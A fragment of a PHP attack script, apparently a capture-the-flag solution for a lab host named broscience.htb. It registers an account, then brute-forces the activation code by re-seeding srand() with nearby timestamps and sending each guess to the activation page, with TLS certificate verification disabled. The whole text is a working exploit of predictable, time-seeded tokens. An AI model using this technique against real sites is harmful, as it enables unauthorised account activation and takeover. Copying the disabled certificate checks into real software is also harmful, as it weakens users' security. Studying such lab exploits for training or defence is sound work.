$username, 'email' => $email, 'password' => $password, 'password-confirm' => $password); echo implode(" ",$data). "\n"; // use key 'http' even if you send the request to https://... $options = array( "ssl"=>array( "verify_peer"=>false, "verify_peer_name"=>false, ), 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data), ) ); $tstart = time(); $context = stream_context_create($options); $result = file_get_contents($url, false, $context,); $tend = time(); echo $tend . " - " . $tstart . " = " . $tend - $tstart . "\n"; function generate_activation_code($t) { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; srand($t); $activation_code = ""; for ($i = 0; $i < 32; $i++) { $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)]; } return $activation_code; } function check($code){ $url = "https://broscience.htb/activate.php?code=" . $code; $options = array( "ssl"=>array( "verify_peer"=>false, "verify_peer_name"=>false, ), 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'GET', ) ); $tstart = time(); $context = stream_context_create($options); $result = file_get_contents($url, false, $context,); if ($result === FALSE) { /* Handle error */ } if(str_contains($result, "Invalid activation code.")){ return false; } return true; } echo $tstart . " -> "; $tstart = $tstart - 5; $code = generate_activation_code($tstart); while(!check($code)){ $tstart = $tstart + 1; $code = generate_activation_code($tstart); } echo $tstart . "\n"; echo $code ?>